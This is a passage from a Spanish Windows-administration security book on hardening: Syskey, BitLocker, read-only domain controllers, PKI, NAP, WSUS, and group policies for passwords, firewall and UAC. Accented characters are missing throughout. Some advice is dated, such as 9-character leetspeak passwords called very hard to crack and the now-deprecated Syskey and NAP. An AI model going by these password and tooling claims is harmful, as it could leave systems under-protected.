Windows de varios equipos en uno solo usando un registro. Piense en crear un script de copia de los logs de los
servidores web si estos logs no se almacenan. Otra opcin consiste en escribir los logs en un directorio donde la
eliminacin de ficheros est prohibida. Solo se activan los permisos de lectura y escritura. Puede realizar esto
denegando la eliminacin de ficheros en los permisos NTFS en las propiedades avanzadas de una carpeta.

Los medios integrados en los entornos Microsoft


Microsoft realiza enormes esfuerzos para dar a los administradores los medios para proteger sus sistemas. Podemos
afirmar que, desde algunos aos, estos esfuerzos han dado sus frutos y dan a los usuarios finales herramientas
extraordinariamente protegidas. Solo les queda a los administradores controlar estas herramientas y configurarlas
adecuadamente. Este libro no est dedicado al aprendizaje completo de estos medios de proteccin, sino solo a
profundizar en algunos puntos importantes, teniendo en cuenta que debe conocer, al menos en parte, la manera de
administrar los sistemas de Windows. Con estos elementos dispondr al menos de las claves esenciales para
proteger mejor su entorno.

Los medios de instalacin y configuracin de los productos pueden variar dependiendo de la versin que utilice. Si
algunas explicaciones le parecen demasiado breves e igual hasta insuficientes o no corresponden a la versin del
programa que tiene, le invitamos a consultar los numerosos libros de Ediciones ENI que tratan temticas como
Active Directory o Administracin de Servidores de Windows 2012. Estos libros le darn informaciones ms amplias
sobre la configuracin de servicios y medios de defensa en una infraestructura Windows Server.

Algunos trminos se han dejado voluntariamente en su versin inglesa para facilitar la bsqueda de
documentacin en Internet. Las informaciones pertinentes no suelen traducirse sistemticamente.
1. Impedir el arranque del sistema

Se habr dado cuenta de que, si un usuario puede arrancar su equipo con un DVD tan inofensivo como el de
instalacin de Windows, podr tomar el rol de sistema o de administrador del equipo que maneja. Debe, en la
medida de lo posible, evitar que pueda modificar un servidor offline o, peor, piratear un controlador de dominio.

a. SysKey

Para impedir a otro usuario arrancar un servidor sin autorizacin, es posible activar Syskey. Esta clave es
utilizada por el sistema operativo para leer el hash de las contraseas en Windows. Por defecto, est
almacenada en el registro. Cuando un sistema arranca, esta clave es leda automticamente, y los servicios
arrancan tambin; despus el usuario puede autenticarse. Puede, para proteger un servidor o su propio equipo,
modificar el Syskey y elegir no guardarlo en el registro. Sin embargo, debe ser administrador del equipo para
modificar esta clave.

Ejecute Syskey.exe y pulse el botn Actualizar.


Elija y defina la propiedad Inicio con contrasea.
Reinicie su equipo.
Al arrancar, antes de poder indicar un nombre de usuario y una contrasea, deber indicar la contrasea definida
en el punto anterior.

Aqu ya dispone de una primera proteccin contra el pirateo que hemos visto en los primeros captulos y que
consista en evitar la autenticacin.

b. Concepto y requisitos de BitLocker

Respecto a la proteccin que hemos creado con Syskey, el usuario podr modificar el sistema operativo offline,
pero no podr arrancarlo mientras una persona no ingrese la contrasea de Syskey. Sin embargo, este tipo de
seguridad no se puede utilizar en un controlador de dominio o un servidor de aplicaciones, ya que la primera
cosa que har el administrador cuando vea que se ha reiniciado el servidor es indicar la contrasea de Syskey
para ver los logs de eventos. El pirata podr en este momento realizar su ataque.

Con objeto de proteger mejor los servidores y los PC, para impedir que los usuarios tomen el rol de
administrador en un servidor o en su propio equipo, debe poder impedir la modificacin offline del sistema
operativo. Para ello, Microsoft propone desde Windows Vista la posibilidad de cifrar todo el disco con BitLocker.
BitLocker solo descifra los datos del disco si el disco de arranque est emparejado al equipo correcto. En otras
palabras:

Si desmonta el disco para ponerlo como disco secundario en otro equipo, solo tendr acceso a los datos
cifrados.
Si arranca el PC por medio de un DVD de instalacin o de un CD de arranque, solo tendr acceso a los
datos cifrados.
Si arranca el sistema normal en el equipo fsico, BitLocker descifra sus datos y podr usar su PC con
normalidad.

El objetivo de proteger es impedir toda modificacin del sistema operativo offline. Para poder conseguir esto,
BitLocker se basa en un mdulo TPM (Trusted Platform Modules), como mnimo la versin 1.2, o una llave USB
para almacenar la clave de descifrado. Una clave de recuperacin puede imprimirse o almacenarse en el Active
Directory, para que el servicio informtico pueda recuperar un sistema cifrado.

c. Almacenar las claves de recuperacin en el Active Directory

Antes del despliegue de BitLocker en su empresa, debe planificarlo. Uno de los puntos importantes de esta
planificacin es la recuperacin de los datos cifrados. Cmo descifrar un disco duro de un servidor o de un
ordenador que no arranca para recuperar los datos almacenados?

Microsoft propone Active Directory como solucin centralizada de almacena-miento de las claves de descifrado
de los discos. Basta con configurar las polticas de grupo adecuadas para que, en el momento de la configuracin
de BitLocker en un equipo, este transmita la clave de recuperacin al Active Directory, que la guarda como
atributo en la cuenta del equipo.

Para ello, abra la consola de gestin de las polticas de grupo.


Aada una directiva de grupo al nivel del dominio.
Acceda a los parmetros de Configuracin del equipo - Modelos de administracin - Cifrar el disco con
BitLocker.
Active la directiva Guardar las informaciones de recuperacin de BitLocker en los servicios del dominio
Active Directory.

Para ver las claves de recuperacin guardadas en el Active Directory, debe instalar una herramienta de
administracin en el PC donde se gestiona el Active Directory o directamente en el controlador de dominio.

En el controlador de dominio, aada la funcionalidad de servidor en Gestin de las herramientas de


administracin del servidor remoto - Herramientas de administraciones de funcionalidades - Visualizar
la contrasea de recuperacin de BitLocker.
Una vez instalada la herramienta, abra la consola de Usuarios y equipos de Active Directory.
Abra las propiedades del equipo que desea recuperar.
Vaya a la pestaa Recuperacin BitLocker.

Tambin puede buscar una clave de recuperacin a partir de los 8 primeros caracteres del ID de
contrasea haciendo clic con el botn derecho en el dominio y en Buscar una contrasea de
recuperacin de BitLocker.
d. Activar BitLocker en un equipo

BitLocker puede activarse para un disco duro perteneciente al sistema operativo o tambin para los discos duros
extrables, como una llave USB. La activacin es muy similar para los dos tipos.

Para activar BitLocker, vaya al Panel de control - Sistema y seguridad - Cifrado de unidad BitLocker.
Haga clic en Activar BitLocker. Un asistente para el almacenamiento de la contrasea se abre, en funcin del tipo
de disco.
Despus se le ofrece elegir cmo almacenar la clave de recuperacin (esto depende de las polticas de grupo
aplicadas).
Finalmente, podr empezar con el cifrado.

Al cifrar, puede tranquilamente reiniciar el equipo sin encontrar ningn problema. Si la poltica de grupo para el
almacenamiento de Active Directory est configurada, la clave de recuperacin estar almacenada ah antes del
inicio del cifrado.

e. Configurar un cdigo PIN

Cuando el disco duro est en el equipo correcto, BitLocker descifra el disco y el sistema operativo arranca
directamente. Sin embargo, esto quiere decir que el disco es descifrado y que el equipo puede ser expuesto por
los servicios instalados o eventualmente por la tcnica que hemos estudiado en el captulo Tomar el rol de
administrador o de sistema, que permite el acceso a un equipo sin login ni contrasea. Para garantizar mejor la
seguridad del equipo, BitLocker nos propone aadir un cdigo PIN. Este cdigo permite proteger el equipo contra
un arranque no deseado.

Puede configurar los parmetros de seguridad para el uso de un PIN con BitLocker usando las polticas de grupo.
Encontrar estos parmetros en Configuracin del equipo - Modelos de administracin - Cifrado del
lector BitLocker.

La modificacin del cdigo PIN BitLocker necesita permisos de administradores, lo que puede ser
problemtico si debe dar estos permisos a sus usuarios. Para paliar este problema, este libro le facilita el
cdigo fuente de una aplicacin que permite la modificacin del cdigo PIN para un usuario que no es
administrador.

Para configurar un cdigo PIN en su equipo:

Vaya al Panel de control - Sistema y seguridad - Cifrado de unidad BitLocker.


Haga clic en Activar BitLocker.
Haga clic en Definir un cdigo PIN de arranque.
El resto del proceso es similar a lo que hemos visto para activar BitLocker.

Para gestionar BitLocker en la lnea de comandos, puede usar manage-bde.

Por ejemplo, aqu, para eliminar el cdigo PIN:


2.
manage-bde -protectors -delete C: -type TPMAndPIN

Instalar y configurar un controlador de dominio en modo de solo lectura

Desde Windows Server 2008 R2, Microsoft ha aportado una novedad interesante en trminos de seguridad de los
controladores de dominio, los RODC (Read Only Domain Controller). Imagine tener que gestionar numerosas
sucursales, cada una con la necesidad de tener un controlador de dominio. Debera, en este caso, garantizar que
nadie pueda arrancar en uno de sus controladores de dominio con un DVD de instalacin; si no, el pirata podra
irse con todas las contraseas de todos los usuarios, incluidas las de los administradores del dominio. O tambin
podra corromper la base de datos de Active Directory aadiendo un usuario, modificando la pertenencia a los
grupos, y todo esto sera replicado en todas las sucursales y en las oficinas centrales.

Para evitar los escenarios catastrficos, Microsoft propone la puesta en marcha de RODC reemplazando ciertos
controladores de dominio. La ventaja de estos controladores en modo de solo lectura es que no replicarn los
posibles cambios aportados en los dems controladores o en las oficinas centrales. Adems, es posible elegir qu
contraseas se almacenan en el RODC, lo que persigue limitar los daos en caso de un ataque en uno de estos
servidores.

a. Crear el equipo

Para crear un servidor como este, puede instalarlo como un controlador de dominio estndar, pero deber
activar el modo de solo lectura en algn momento de la instalacin. Para instalarlo de esta forma, debe ser
administrador del dominio. Simplifique la instalacin creando un objeto de tipo RODC en la unidad organizativa
dedicada a los controladores de dominio en Active Directory. Puede, gracias a la creacin anterior, delegar en un
usuario su instalacin sin necesidad de que sea administrador del dominio.

Abra la herramienta de gestin de Usuarios y equipos de Active Directory.


Vaya a la unidad organizativa dedicada al controlador de dominio.
En el men Acciones o con el botn derecho del ratn, elija Crear una cuenta de controlador de dominio en
modo slo lectura.
Haga clic en Siguiente y dele un nombre.
Vaya a la siguiente fase, elija el sitio al que pertenecer futuro servidor.
Elija si ser tambin un servidor DNS y catlogo global.
D despus el nombre de usuario que realizar la instalacin.

b. Configurar las contraseas no replicadas

Una vez creado el objeto en el Active Directory, podr ser instalado por la persona en la que lo ha delegado. Ya
puede elegir qu contrasea ser o no replicada en este servidor.

Abra la herramienta de gestin de Usuarios y equipos de Active Directory.


Vaya a la unidad organizativa dedicada al controlador de dominio.
Vaya a las propiedades del servidor RODC.
Vaya a la pestaa Polticas de replicacin de contraseas.
Observe las reglas aplicadas por defecto para las cuentas de administradores.
Aada sus propias reglas para autorizar o impedir una replicacin de contraseas.
3. Instalar y configurar una autoridad de certificacin

Para proteger su entorno, necesitar en muchas ocasiones recurrir a una autoridad de certificacin. Esta servir
para dar a los usuarios y los equipos las bases necesarias para reconocer y cifrar las transacciones, as como los
ficheros. La puesta en marcha de una solucin de clave pblica no es compleja desde un punto de vista tcnico.
Sin embargo, hay que planificar ciertos puntos importantes, como el almacenamiento de las claves, su
restauracin, las acciones que es preciso llevar a cabo en caso de intrusin en su PKI (Public Key
Infrastructure), las acciones que es preciso llevar a cabo si un certificado se corrompe...

a. Planificacin de la instalacin

Le aconsejamos con insistencia que planifique correctamente la implementacin de una autoridad de


certificacin. Encontrar los recursos necesarios para ello en el siguiente sitio
web:http://blogs.technet.com/b/askds/archive/2009/09/01/designing-and-implementing-a-pki-part-i-design-
and-planning.aspx

A grandes rasgos, las fases de planificacin son las siguientes:

Saber para qu se va a usar su infraestructura de clave pblica (HTTPS, 802.1x...).


Definir cmo los certificados sern distribuidos y renovados.
Definir una estructura que se alinee con sus necesidades (por ejemplo, un servidor raz (root CA) y un
servidor de distribucin de certificados (sub CA)).
Definir la estrategia de almacenamiento de claves privadas.
Definir la estrategia de revocacin de certificados.
Definir los distintos roles y la seguridad de la PKI.
Definir las reglas de mantenimiento de la PKI.
Definir la estrategia de recuperacin de su PKI.
Crear agentes de recuperacin que formarn parte de la estrategia de recuperacin.
Crear un plan de despliegue de su infraestructura.

Si no desea seguir esta lista porque piensa que podr atenderla ms tarde, no hay problema. Le aconsejamos,
sin embargo, pensar bien la definicin de la estructura de su PKI. Es lo nico que le ser difcil modificar una vez
instalada la PKI.

En la mayora de las pequeas y medianas empresas, una infraestructura con un servidor raz apagado y fuera
de servicio (solo sirve para dar un certificado a la sub CA) y un servidor que distribuya los certificados a los
usuarios responde a las exigencias de seguridad.
El principio es simple: una primera autoridad se instala como autoridad principal, despus una segunda se
instala como autoridad secundaria. Una vez validada la segunda, es esta ltima la que distribuye los certificados
a los usuarios y los equipos. El objetivo es apagar la primera, que solo sirve para recrear una nueva autoridad
de certificacin en caso de que la segunda sea corrompida.

b. Instalacin y configuracin

Una vez la estructura bien definida, podr instalar su autoridad de certificacin. En nuestro caso, y a ttulo de
ejemplo, solo instalaremos un nico servidor principal con el que distribuiremos los certificados.

No todas las versiones de Windows Server soportan la modificacin de los modelos de certificados. Por lo
tanto, antes de instalar el rol, verifique que la versin del servidor es la mnima para realizar las
modificaciones que necesitar.

Para instalar el rol, siga estos pasos:

Abra la consola de gestin del servidor.


Instale el nuevo rol de Active Directory Certificate Services.
Aada los subroles que dan acceso a los servicios web y a el registro en lnea.
Deje que prosiga la instalacin y acceda a las tareas de configuracin del rol.
Defina los roles que se han de instalar.
Elija el tipo Autoridad de certificacin de la empresas (integrada al Active Directory) y despusRoot.
Cree una nueva clave privada.
Modifique el nombre para que este no sea el mismo que el nombre del servidor.
Indique la validez del certificado de su CA; le aconsejamos aumentar el valor por defecto.
Elija Autenticacin integrada Windows para su CA.
Elija asignar y configurar un certificado ms tarde para las conexiones seguras.
Despus haga clic en Configurar.

La autoridad de certificacin est ahora disponible para configurarla.

Antes de poder distribuir certificados, le queda publicar la lista de revocacin de los certificados. Si esta lista no
se publica, se arriesga a que aparezca un error: al no encontrar el sistema operativo la lista de revocacin, por
seguridad, este no autoriza el almacenamiento de un nuevo certificado.

Abra la consola de gestin de la autoridad de certificacin.

Vaya al contenedor Certificados revocados y acceda al men Acciones - Todas las tareas - Publicar.

Ahora puede publicar los certificados. Esta instalacin y la configuracin estn aqu resumidas. Le invitamos a
planificar bien y a configurar totalmente su infraestructura de claves pblicas antes de pasar a produccin.

c. Modificar y aadir modelos de certificados

Una vez terminado el despliegue del rol, tiene todava que preparar los modelos de certificados para que estos
estn disponibles para los equipos y los usuarios. Tomaremos en nuestro caso el ejemplo del modelo que sirve
para la firma de cdigo. Este modelo no est definido por defecto.
Abra la consola de gestin de la autoridad de certificacin.
Haga clic con el botn derecho en Modelo de certificado - Administrar.
Vaya a las propiedades del modelo Firma de cdigo (Code Signing).
En la pestaa de Seguridad, aada el grupo de seguridad de las personas con permisos para solicitar un
certificado de firma de cdigo.
D a este grupo el permiso de lectura y de registro (Enroll).
Vuelva a la consola de gestin de la autoridad y haga clic con el botn derecho del ratn en Modelo de
certificado - Nuevo.
Seleccione el modelo de firma de cdigo.

Ahora el modelo est disponible para los usuarios que pertenecen al grupo de seguridad que ha autorizado.

d. Configurar el certificado Root en los PC internos

Si un equipo, en su almacn, no reconoce el certificado de una autoridad de certificacin, aparecer un error


dependiendo del tipo de conexin. El ejemplo ms conocido es el de una pgina web que se conecta mediante
HTTPS con un certificado no reconocido. El usuario no puede entonces, por defecto, acceder al sitio web.

Para evitar este problema con los certificados instalados desde su autoridad interna, distribuiremos el root
certificate con las polticas de grupo.

Para ello, abra la consola de gestin de las polticas de grupo.


Aada una directiva de grupo a nivel del dominio.
Edtela y acceda a Configuracin del equipo - Parmetros Windows - Editores aprobados.
Elija en el men Acciones, Todas las tareas - Importar.
Importe los certificados de sus autoridades de certificacin principal y secundaria.

Una vez la directiva aplicada a los equipos, estos reconocern los certificados emitidos por su infraestructura de
clave pblica.

4. Instalar y configurar Network Access Protection

Desde Windows 2000, Microsoft ya ha propuesto herramientas para proteger las redes internas. El uso de IPsec
entre los clientes y los servidores, definido como poltica de seguridad, es una de ellas. Microsoft ha enriquecido
su gama de productos proponiendo NAP (Network Access Protection) e integrando la seguridad va IPsec. Pero
muchos otros productos, como la seguridad en DHCP y 802.1x con NAP, existen con la posibilidad de desconectar
un equipo que no est actualizado o cuyo antivirus o cortafuegos hayan sido detenidos.

Microsoft Network Access Control es compatible con Cisco Network Access Control.
a. Configurar el DHCP con una lista blanca

Una de las mejoras disponible desde Windows Server 2008 R2 consiste en crear una lista de direcciones MAC
autorizadas para obtener una direccin IP. No parece gran cosa, pero esta funcin ya complica el acceso de un
equipo externo a la red, si el pirata no tiene mucha experiencia. Y esto evita adems una posible intrusin
cuando un invitado accede a un PC de empresa para conectarse a la red.

Para activar esta funcin, no necesitar instalar NAP. Basta con aadir las direcciones MAC de los equipos
autorizados en la propiedad filtro (Filter) de su servidor DHCP. Una vez guardadas las direcciones, vaya a las
propiedades de su IPv4 y active el filtrado en la pestaa Filtro (Filter). Este sistema puede parecer largo, ya que
para cada direccin MAC debe crear una entrada en la lista. Sin embargo, puede exportar las direcciones MAC de
las IP distribuidas e importarlas como filtros gracias al comando netsh o PowerShell en Windows Server 2012.

Para aadir un filtro con netsh:

netsh dhcp server v4 add filter allow 00-23-72-AB-F2-D7 "PC1"

Para aadir un filtro con PowerShell:

Import-module DHCPserver

Add-DhcpServerv4Filter -List Allow -MacAddress 00-23-72-AB-F2-D7

-Description "PC1"

Para listar las direcciones MAC con IP asignada con netsh:

netsh dhcp server scope 192.168.0.0 show clients

Con PowerShell:

Import-module DHCPserver

Get-DhcpServerv4Lease -ComputerName dhcpserver.test.local

-ScopeId 192.168.0.0 -AllLeases

Ahora dispone de un medio relativamente simple para encontrar las direcciones IP distribuidas por su servidor
DHCP y as crear filtros partiendo de estas direcciones MAC con objeto de autorizar solamente a los equipos de
su red para conseguir una direccin IP.

b. Instalar los servicios para Network Access Protection

La distribucin de direcciones IP es un problema relativamente simple para un pirata, sobre todo cuando ya
dispone de acceso a un equipo interno. Puede saber fcilmente la lista de IP, la puerta de enlace, as como los
servidores DNS que se pueden utilizar para piratear la red. Menos mal que Microsoft no limita la seguridad
nicamente a la distribucin de direcciones IP, aunque esta pueda gestionarse de forma automtica usando la
seguridad de DHCP con NAP. Network Access Protection se puede configurar tambin para la seguridad va
802.1x. Le aconsejamos, en este ambiente de seguridad, que explore tambin estas vas con los libros
propuestos por Ediciones ENI.

Instalaremos los elementos necesarios para utilizar NAP con IPsec, que resulta ser, de los mtodos propuestos,
el ms seguro.

Aada el rol Network Policy and Access Services.


Marque los subroles Network Policy Server y Health Registration Authority.
Elija una autoridad de certificacin.
Marque la opcin que solicita que el usuario est bien autenticado en el dominio.

Los componentes NAP estn ahora instalados. Solo le queda configurarlos.

c. Configurar NAP para utilizar IPsec en los servidores

Para garantizar un alto nivel de seguridad con NAP, le proponemos probar y adoptar la seguridad con IPsec. El
principio es relativamente simple: si su equipo es efectivamente el que dice ser y goza de buena salud
(antivirus, antimalware y cortafuegos activos y actualizados), y el usuario est bien autenticado en el dominio,
entonces puede comunicarse con otros equipos con total seguridad. De lo contrario, se le redirige a un servidor
en el cual podr actualizarse.

En nuestro ejemplo, vamos a configurar los elementos necesarios para la puesta en marcha de IPsec con NAP.

Abra la consola de gestin Network Policy Server.


En la pgina principal, en el centro, haga clic en Configure NAP.
Elija el modelo IPsec with Health Registration Authority.
En la ventana siguiente, no modifique nada y haga clic en Siguiente.
No indique nada en el grupo de equipos si desea aplicar la regla a todas las mquinas.
Haga clic otra vez en Siguiente, hasta finalizar la configuracin.
En la consola principal, aada su servidor WSUS a los servidores de repositorio para permitir a los equipos no
actualizados buscar las actualizaciones disponibles.

Su servidor est ahora preparado para funcionar. Sin embargo, los equipos clientes no saben todava que deben
utilizar NAP.

d. Configurar los clientes para soportar NAP

Para que NAP pueda funcionar correctamente, la mejor manera sigue siendo configurar los clientes mediante las
polticas de seguridad.

Para ello, abra la consola de gestin de polticas de grupo y cree una nueva directiva.
Edtela y vaya a Configuracin del equipo - Parmetros Windows - Parmetros de seguridad - Proteccin
de acceso a la red - Clientes por obligacin.
Active el cliente por obligacin IPsec.
Aada a los servidores de confianza la direccin del servidor configurado anteriormente.

Una vez aplicada, la directiva forzar el uso de NAP con IPsec.


La configuracin de NAP con IPsec obliga a un correcto entendimiento del funcionamiento global de NAP y de
sus componentes. Si este tipo de seguridad le interesa, le aconsejamos leer la gua de despliegue de NAP de
Microsoft o buscar un libro que trate del concepto y de la puesta en marcha en su totalidad.

Gua de despliegue de Microsoft: http://technet.microsoft.com/library/dd314175(WS.10).aspx

5. Instalar y configurar WSUS (Windows Server Update Services)

WSUS es una herramienta de gestin de las actualizaciones de los sistemas de Windows, as como de numerosas
aplicaciones de Microsoft. El servidor no solo permite distribuir las actualizaciones, sino tambin realizar un
seguimiento de la instalacin en los equipos. Esta herramienta es gratuita y forma parte de los roles que se
pueden activar en el sistema operativo Windows Server 2012.

a. Instalar WSUS

WSUS se instala y configura fcilmente. Basta para ello con instalar el rol.

Aada el rol Windows Update Service.


Elija el tipo de base de datos (por defecto, Windows Internal Database).
Indique una ruta para el almacenamiento de las actualizaciones.
Arranque la primera fase de la instalacin y espere a que termine.
Arranque las tareas de configuracin postdespliegue y espere a que terminen.
Una vez la instalacin finalizada, abra la consola de configuracin de WSUS. Le queda:
Configurar los idiomas de las aplicaciones y sistemas operativos que se van a actualizar.

Configurar las aplicaciones que desea mantener.

Elegir el modo de validacin.

Definir y activar la planificacin de la descarga.

Configurar proxy web si es necesario.

Cuidado! WSUS solo gestiona la actualizacin de aplicaciones y sistemas operativos de Microsoft. Debe tener
en cuenta tambin los productos de otros proveedores, como Adobe y Oracle, para todos los programas
instalados.

b. Configurar los clientes para utilizar WSUS

Una vez el servidor instalado y configurado, le queda configurar los clientes para que busquen las
actualizaciones en el servidor WSUS en vez de Internet.

Abra la consola de gestin de las polticas de grupo y cree una nueva directiva.
Edtela y vaya a Configuracin del equipo - Modelos de administracin - Componentes de Windows -
Windows Update.
Active la directiva Autorizar los no administradores para recibir las notificaciones de actualizacin.
Active la directiva Activar las actualizaciones automticas recomendadas....
Active y configure la directiva Configuracin del servicio de actualizacin automtica.
Active y configure la directiva Especificar el emplazamiento intranet del servicio de actualizacin de
Microsoft.

Una vez la directiva aplicada en los equipos, estos buscarn sus actualizaciones en el servidor WSUS. Los
equipos enviarn tambin al servidor WSUS su estado en relacin con las actualizaciones, lo que le permitir
detectar los equipos que no se actualizan.

6. Las polticas de grupo

Para centralizar la seguridad, Microsoft ha puesto a punto las polticas de grupo. Desde Windows 2000, esta
herramienta de seguridad contina su desarrollo. Como administrador de sistema de Windows, ya conoce el uso
de polticas de grupo. En este libro nos centraremos solo en una nfima parte de lo que representa la aplicacin de
seguridad de estas. Algunos ejemplos ya se han explicado anteriormente. Numerosos libros de Ediciones ENI
pormeno-rizan la puesta en marcha de este tipo de seguridad. Le invitamos a descu-brirlos si desea profundizar
en este tema.

a. Configurar las cuentas restringidas

Manipulando ficheros falsos o pirateando su PC, un usuario puede tomar el rol de administrador de su equipo.
Para aumentar las posibilidades de que los administradores sean elegidos en un PC o un servidor, es posible
forzar la pertenencia a un grupo local como el de Administradores (grupo local en un equipo o servidor) y
quitarle los usuarios que no deben estar presentes mediante la aplicacin de una poltica de grupo.

Cree una poltica de grupo y vaya a Configurar el equipo - Parmetros de Windows - Parmetros de
seguridad - Grupos restringidos.
Aada el grupo Administradores.
Aada al grupo los usuarios autorizados a ser administradores locales, como la cuenta de administrador del
dominio y de administrador de la empresa.

Una vez aplicada la directiva de seguridad, solo estos dos usuarios estarn en el grupo de Administrador local de
los equipos. Los que se aadan posteriormente sern automticamente eliminados en cuanto la directiva de
grupo se vuelva a aplicar.

b. Configurar la seguridad de las contraseas

Las contraseas estn en general en el corazn de la seguridad de un entorno cliente-servidor. Deben


protegerse al mximo. Para ralentizar el descifrado de contraseas cuanto son extradas, se tiene que dificultar
la labor al pirata, lo que igual le desanimar. Normalmente, desde Windows Vista, las contra-seas locales no se
cifran con LM, sino nicamente con NTLM. Si tiene instalados muchos sistemas de Windows XP en su entorno, la
poltica de grupo siguiente es muy necesaria:

Modifique la poltica de grupo Default Domain Policy, Configuracin del equipo - Configuracin de Windows
- Configuracin de seguridad - Directivas locales - Opciones de seguridad.
Active la propiedad Seguridad de red: no guardar los valores de resumen de nivel LAN Manager en la
prxima modificacin de la contrasea.

En el mismo sitio, puede proteger el envo de la contrasea en la red si su infraestructura no necesita


retrocompatibilidad.
Active la propiedad Seguridad de red: nivel de autenticacin LAN Manager.
Elija Enviar nicamente una respuesta NTLM versin 2, Rechazar LM y NTLM.

Para impedir que los usuarios almacenen las contraseas de acceso en los recursos locales:

Active la propiedad Acceso a la red: no autorizar el almacenamiento de contraseas e informacin de


autenticacin para la autenticacin de red.

Para aumentar la dificultad de encontrar la contrasea, lo ideal es solicitar una contrasea compleja y larga a los
usuarios. El hecho de pedir demasiadas veces a los usuarios cambiar su contrasea es, por el contrario,
contraproducente de cara a la seguridad, ya que se arriesga a almacenarla en un sitio no apropiado. Si el
usuario crea una contrasea de 9 caracteres con minsculas, maysculas, nmeros y caracteres especiales,
conseguir descifrarla ser una tarea muy larga y muy compleja.

Para forzar a los usuarios a que su contrasea cumpla esta complejidad:

Modifique la poltica de grupo Default Domain Policy, Configuracin del equipo - Parmetros de Windows -
Configuracin de seguridad - Directivas de cuenta - Directiva de contrasea.
Active la propiedad La contrasea debe respetar las exigencias de complejidad.
Defina la propiedad La contrasea debe tener como mnimo 9 caracteres.
Defina la Duracin mxima de la contrasea en 120 das (4 meses), aunque en este punto deber tener en
cuenta la legislacin vigente, como la LOPD (Ley Orgnica de Proteccin de Datos).

Para simplificar el uso de contraseas, dar formacin a los usuarios resulta muy simple:

Pdales que piensen en una frase que les motive y que puedan memorizar fcilmente.
Ejemplo: Me gusta la seguridad

Pdales reemplazar los caracteres que quieran por la serie siguiente:


i por 1

E por 3 o por

O por 0

A por @

S por 5

E por &

Podrn guardar la frase fonticamente, consiguiendo as una seguridad ptima. La frase del ejemplo puede
resultar en la siguiente contrasea:

M gu5t@ la 5gur1dad

Cuidado! Los parmetros de seguridad de contraseas solo son tomados en cuenta por la poltica por
defecto ligada al dominio. Sin embargo, podr ir ms lejos configurando PSO (Password Settings Object).
c. Configurar el cortafuegos

Para impedir a los usuarios usar aplicaciones en red como un comando remoto, forzaremos la utilizacin del
cortafuegos. Empiece por probar estos cambios en equipos de test. Para aplicar reglas ajustadas, reagrupe los
servidores por tipo de servicio en una misma unidad organizativa y aplique despus la poltica adecuada.

Cree una nueva directiva de grupo: Configuracin del equipo - Parmetros de Windows - Cortafuegos de
Windows con funciones avanzadas.
Haga clic con el botn derecho del ratn en Cortafuegos de Windows con funciones avanzadas -
Propiedades.
Para cada uno de los perfiles, configure el estado como Activado y las conexiones entrantes enBloquear.
Aada reglas de trfico entrante que correspondan a los servicios disponibles en los equipos.

Para proteger mejor el trfico, puede bloquear el trfico saliente y solo autorizar lo necesario. Acurdese en este
caso de autorizar como mnimo el siguiente trfico:

DNS
LDAP
NTLM
Kerberos
SMB
HTTPS / HTTPS si dispone de una intranet.

El cortafuegos de Windows aumenta la seguridad, pero no podr garantizar que una aplicacin saliente se
conecte al servicio correcto. Debe, en la medida de lo posible, configurar la propiedad Equipo remoto de sus
reglas salientes y entrantes.

d. Configurar el control de la cuenta de usuario

El control de la cuenta de usuario, comnmente llamado UAC (User Access Control), es una herramienta
interesante en trminos de seguridad. El objetivo de la UAC fue, en su lanzamiento en Windows Vista, un poco
mal comprendido y sobre todo muy intrusivo. Muchas veces era desactivado, aunque representaba una enorme
ventaja. Para ser ms claro, esta funcin es una de las ms eficaces para protegerse de una aplicacin trampa
ejecutando un script.

Cuando la UAC est activada, no ejecuta las aplicaciones con permisos de administrador. Debe especficamente
pedir permiso de ejecucin con permisos de administrador, lo que le da una buena proteccin contra el pirateo
de su equipo, ya que cada aplicacin, aunque se modifique con fines ilcitos, solo tendr entonces los permisos
del usuario y eso aunque sea el administrador de su PC.

Desde Windows 7, Microsoft ha sabido integrarlo y ya no existen impedimentos a su utilizacin. Le aconsejamos,


por lo tanto, que lo reactive cuanto antes, forzando tambin el escritorio seguro, lo que impedir que algunos
keyloggers, que se ejecutan con permisos de usuario, puedan grabar las teclas pulsadas.

Para forzar el uso de la UAC en los equipos de su empresa, use las polticas de grupo:

Cree una nueva poltica de grupo y vaya a Configuracin del equipo - Parmetros de Windows - Parmetros
de seguridad - Opciones de seguridad.
Active la opcin Control de cuenta de usuario: pasar al escritorio seguro en una solicitud de elevacin de
permisos.
Configure la directiva Control de cuenta de usuario: comportamiento del invite de elevacin de permisos
en modo de aprobacin Administrador.
Elija la opcin Solicitud de consentimiento para los binarios no Windows.
Active la opcin Control de cuenta de usuario: utilizar el modo Aprobacin administrador para la cuenta
de administrador integrada.

Una vez aplicada la poltica en los equipos, la UAC estar nuevamente activa (est activada por defecto) en los
equipos donde se ha desactivado.

e. Restriccin del registro y de ficheros

Para impedir la manipulacin del sistema operativo, o por lo menos para hacer que esta modificacin sea ms
compleja, veremos cmo cambiar la seguridad de las claves de registro y la seguridad de las carpetas.

La primera cosa que debe hacer es no facilitar la modificacin del registro bloqueando la edicin a los usuarios:

Cree una nueva poltica de grupo: Configuracin del equipo - Modelo de administracin - Sistema.
Active la regla Impedir el acceso a las herramientas de modificacin del registro.

Puede, con la ayuda de la misma poltica, modificar la seguridad de las claves de registro para impedir a un
usuario modificarla. Tomemos por ejemplo la clave que permite evitar el inicio de sesin vista en el captulo
Tomar el rol de administrador o de sistema de este libro. Esta clave tiene el permiso de modificacin remota por
un administrador. Bloquearemos a todos los usuarios la modificacin, incluidos los administradores, para impedir
que una aplicacin trampa pueda modificar un servidor o un controlador de dominio.

Cree una nueva poltica de grupo: Configuracin del equipo - Direc-tivas - Parmetros de Windows -
Configuracin de seguridad - Registro.
Indique la ruta MACHINE\SOFTWARE\Microsoft\Windows NT\Current- Version\Image File Execution Options.
Acceda a las propiedades avanzadas y seleccione Users.
Otorgue el permiso Denegar en las propiedades avanzadas en el campo Establecer valor.
Si desea impedir la modificacin de un controlador de dominio, acurdese de crear una nueva poltica de
grupo vinculada al contenedor dedicado a los controladores de dominio.

Una vez aplicada la poltica, los servidores y los PC estarn protegidos contra una aplicacin trampa que busca
modificar una clave para evitar la autenticacin.

7. Configurar la restriccin de software

Windows ofrece, desde Windows 2000, la posibilidad de restringir la ejecucin de programas mediante las
polticas de grupo. Pero desde Windows 2008 R2, Microsoft ha mejorado estas herramientas aadiendo AppLocker,
que simplifica el despliegue de soluciones de restricciones de software. Este tipo de restricciones le permitir
proteger los equipos de los usuarios, pero tambin los servidores de terminales.

a. Autorizar o bloquear por defecto?

Como ya ha visto, no resulta sencillo impedir que un usuario arranque o instale una aplicacin aunque no
